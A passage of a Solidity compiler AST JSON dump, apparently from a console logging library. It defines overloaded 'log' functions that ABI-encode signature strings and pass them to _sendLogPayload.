id":18864,"mutability":"mutable","name":"p1","nameLocation":"26869:2:14","nodeType":"VariableDeclaration","scope":18883,"src":"26864:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18863,"name":"bool","nodeType":"ElementaryTypeName","src":"26864:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18866,"mutability":"mutable","name":"p2","nameLocation":"26881:2:14","nodeType":"VariableDeclaration","scope":18883,"src":"26873:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18865,"name":"address","nodeType":"ElementaryTypeName","src":"26873:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18868,"mutability":"mutable","name":"p3","nameLocation":"26890:2:14","nodeType":"VariableDeclaration","scope":18883,"src":"26885:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18867,"name":"uint","nodeType":"ElementaryTypeName","src":"26885:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26854:39:14"},"returnParameters":{"id":18870,"nodeType":"ParameterList","parameters":[],"src":"26908:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18906,"nodeType":"FunctionDefinition","src":"27018:181:14","nodes":[],"body":{"id":18905,"nodeType":"Block","src":"27093:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c616464726573732c737472696e6729","id":18897,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27143:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a230761e3811ae33e11d91e6667cf79e7e0ce8023ec276bdd69859f68587933c","typeString":"literal_string \"log(uint,bool,address,string)\""},"value":"log(uint,bool,address,string)"},{"id":18898,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18885,"src":"27176:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18899,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18887,"src":"27180:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18900,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18889,"src":"27184:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18901,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18891,"src":"27188:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a230761e3811ae33e11d91e6667cf79e7e0ce8023ec276bdd69859f68587933c","typeString":"literal_string \"log(uint,bool,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18895,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27119:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18896,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27123:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27119:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18902,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27119:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18894,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"27103:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18903,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27103:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18904,"nodeType":"ExpressionStatement","src":"27103:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27027:3:14","parameters":{"id":18892,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18885,"mutability":"mutable","name":"p0","nameLocation":"27036:2:14","nodeType":"VariableDeclaration","scope":18906,"src":"27031:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18884,"name":"uint","nodeType":"ElementaryTypeName","src":"27031:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18887,"mutability":"mutable","name":"p1","nameLocation":"27045:2:14","nodeType":"VariableDeclaration","scope":18906,"src":"27040:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18886,"name":"bool","nodeType":"ElementaryTypeName","src":"27040:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18889,"mutability":"mutable","name":"p2","nameLocation":"27057:2:14","nodeType":"VariableDeclaration","scope":18906,"src":"27049:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18888,"name":"address","nodeType":"ElementaryTypeName","src":"27049:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18891,"mutability":"mutable","name":"p3","nameLocation":"27075:2:14","nodeType":"VariableDeclaration","scope":18906,"src":"27061:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18890,"name":"string","nodeType":"ElementaryTypeName","src":"27061:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27030:48:14"},"returnParameters":{"id":18893,"nodeType":"ParameterList","parameters":[],"src":"27093:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18929,"nodeType":"FunctionDefinition","src":"27205:170:14","nodes":[],"body":{"id":18928,"nodeType":"Block","src":"27271:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c616464726573732c626f6f6c29","id":18920,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27321:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_91fb124272873b32f25c28f6935451e3d46ffd78ac8ebaaa0e096a7942db5445","typeString":"literal_string \"log(uint,bool,address,bool)\""},"value":"log(uint,bool,address,bool)"},{"id":18921,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18908,"src":"27352:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18922,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18910,"src":"27356:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18923,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18912,"src":"27360:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18924,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18914,"src":"27364:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_91fb124272873b32f25c28f6935451e3d46ffd78ac8ebaaa0e096a7942db5445","typeString":"literal_string \"log(uint,bool,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18918,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27297:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18919,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27301:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27297:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18925,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27297:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18917,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"27281:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18926,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27281:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18927,"nodeType":"ExpressionStatement","src":"27281:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27214:3:14","parameters":{"id":18915,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18908,"mutability":"mutable","name":"p0","nameLocation":"27223:2:14","nodeType":"VariableDeclaration","scope":18929,"src":"27218:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18907,"name":"uint","nodeType":"ElementaryTypeName","src":"27218:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18910,"mutability":"mutable","name":"p1","nameLocation":"27232:2:14","nodeType":"VariableDeclaration","scope":18929,"src":"27227:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18909,"name":"bool","nodeType":"ElementaryTypeName","src":"27227:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18912,"mutability":"mutable","name":"p2","nameLocation":"27244:2:14","nodeType":"VariableDeclaration","scope":18929,"src":"27236:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18911,"name":"address","nodeType":"ElementaryTypeName","src":"27236:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18914,"mutability":"mutable","name":"p3","nameLocation":"27253:2:14","nodeType":"VariableDeclaration","scope":18929,"src":"27248:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18913,"name":"bool","nodeType":"ElementaryTypeName","src":"27248:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"27217:39:14"},"returnParameters":{"id":18916,"nodeType":"ParameterList","parameters":[],"src":"27271:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18952,"nodeType":"FunctionDefinition","src":"27381:176:14","nodes":[],"body":{"id":18951,"nodeType":"Block","src":"27450:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c616464726573732c6164647265737329","id":18943,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27500:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_86edc10cd85187c3b3f180e68e570c794e768808cdffe5158045d6f841ae33f2","typeString":"literal_string \"log(uint,bool,address,address)\""},"value":"log(uint,bool,address,address)"},{"id":18944,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18931,"src":"27534:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18945,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18933,"src":"27538:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18946,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18935,"src":"27542:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18947,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18937,"src":"27546:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_86edc10cd85187c3b3f180e68e570c794e768808cdffe5158045d6f841ae33f2","typeString":"literal_string \"log(uint,bool,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18941,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27476:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18942,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27480:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27476:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18948,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27476:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18940,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"27460:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18949,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27460:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18950,"nodeType":"ExpressionStatement","src":"27460:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27390:3:14","parameters":{"id":18938,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18931,"mutability":"mutable","name":"p0","nameLocation":"27399:2:14","nodeType":"VariableDeclaration","scope":18952,"src":"27394:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18930,"name":"uint","nodeType":"ElementaryTypeName","src":"27394:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18933,"mutability":"mutable","name":"p1","nameLocation":"27408:2:14","nodeType":"VariableDeclaration","scope":18952,"src":"27403:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18932,"name":"bool","nodeType":"ElementaryTypeName","src":"27403:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18935,"mutability":"mutable","name":"p2","nameLocation":"27420:2:14","nodeType":"VariableDeclaration","scope":18952,"src":"27412:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18934,"name":"address","nodeType":"ElementaryTypeName","src":"27412:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18937,"mutability":"mutable","name":"p3","nameLocation":"27432:2:14","nodeType":"VariableDeclaration","scope":18952,"src":"27424:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18936,"name":"address","nodeType":"ElementaryTypeName","src":"27424:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"27393:42:14"},"returnParameters":{"id":18939,"nodeType":"ParameterList","parameters":[],"src":"27450:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18975,"nodeType":"FunctionDefinition","src":"27563:170:14","nodes":[],"body":{"id":18974,"nodeType":"Block","src":"27629:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c75696e742c75696e7429","id":18966,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27679:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ca9a3eb4a61979ee5cc1814fa8df2504ab7831148afaa3d4c17622578eab7412","typeString":"literal_string \"log(uint,address,uint,uint)\""},"value":"log(uint,address,uint,uint)"},{"id":18967,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18954,"src":"27710:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18968,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18956,"src":"27714:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18969,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18958,"src":"27718:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18970,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18960,"src":"27722:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ca9a3eb4a61979ee5cc1814fa8df2504ab7831148afaa3d4c17622578eab7412","typeString":"literal_string \"log(uint,address,uint,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18964,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27655:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18965,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27659:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27655:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18971,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27655:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18963,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"27639:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18972,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27639:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18973,"nodeType":"ExpressionStatement","src":"27639:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27572:3:14","parameters":{"id":18961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18954,"mutability":"mutable","name":"p0","nameLocation":"27581:2:14","nodeType":"VariableDeclaration","scope":18975,"src":"27576:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18953,"name":"uint","nodeType":"ElementaryTypeName","src":"27576:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18956,"mutability":"mutable","name":"p1","nameLocation":"27593:2:14","nodeType":"VariableDeclaration","scope":18975,"src":"27585:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18955,"name":"address","nodeType":"ElementaryTypeName","src":"27585:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18958,"mutability":"mutable","name":"p2","nameLocation":"27602:2:14","nodeType":"VariableDeclaration","scope":18975,"src":"27597:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18957,"name":"uint","nodeType":"ElementaryTypeName","src":"27597:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18960,"mutability":"mutable","name":"p3","nameLocation":"27611:2:14","nodeType":"VariableDeclaration","scope":18975,"src":"27606:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18959,"name":"uint","nodeType":"ElementaryTypeName","src":"27606:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"27575:39:14"},"returnParameters":{"id":18962,"nodeType":"ParameterList","parameters":[],"src":"27629:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18998,"nodeType":"FunctionDefinition","src":"27739:181:14","nodes":[],"body":{"id":18997,"nodeType":"Block","src":"27814:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c75696e742c737472696e6729","id":18989,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"27864:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ed3bd282d1a27244fa4d3668aff783448c1a1864ff920057fa9f1c8144bb10b","typeString":"literal_string \"log(uint,address,uint,string)\""},"value":"log(uint,address,uint,string)"},{"id":18990,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18977,"src":"27897:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18991,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18979,"src":"27901:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18992,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18981,"src":"27905:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18993,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18983,"src":"27909:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3ed3bd282d1a27244fa4d3668aff783448c1a1864ff920057fa9f1c8144bb10b","typeString":"literal_string \"log(uint,address,uint,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18987,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"27840:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18988,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"27844:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"27840:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27840:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18986,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"27824:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"27824:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18996,"nodeType":"ExpressionStatement","src":"27824:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"27748:3:14","parameters":{"id":18984,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18977,"mutability":"mutable","name":"p0","nameLocation":"27757:2:14","nodeType":"VariableDeclaration","scope":18998,"src":"27752:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18976,"name":"uint","nodeType":"ElementaryTypeName","src":"27752:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18979,"mutability":"mutable","name":"p1","nameLocation":"27769:2:14","nodeType":"VariableDeclaration","scope":18998,"src":"27761:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18978,"name":"address","nodeType":"ElementaryTypeName","src":"27761:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":18981,"mutability":"mutable","name":"p2","nameLocation":"27778:2:14","nodeType":"VariableDeclaration","scope":18998,"src":"27773:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18980,"name":"uint","nodeType":"ElementaryTypeName","src":"27773:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18983,"mutability":"mutable","name":"p3","nameLocation":"27796:2:14","nodeType":"VariableDeclaration","scope":18998,"src":"27782:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18982,"name":"string","nodeType":"ElementaryTypeName","src":"27782:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"27751:48:14"},"returnParameters":{"id":18985,"nodeType":"ParameterList","parameters":[],"src":"27814:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":19021,"nodeType":"FunctionDefinition","src":"27926:170:14","nodes":[],"body":{"id":19020,"nodeType":"Block","src":"27992:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c616464726573732c75696e742c626f6f6c29","id":19012,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28042:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_19f67369d42bc0582d07ae744348ad46b79a6c16f354e3d3fb3c6bff2ecfa9f8","typeString":"literal_string 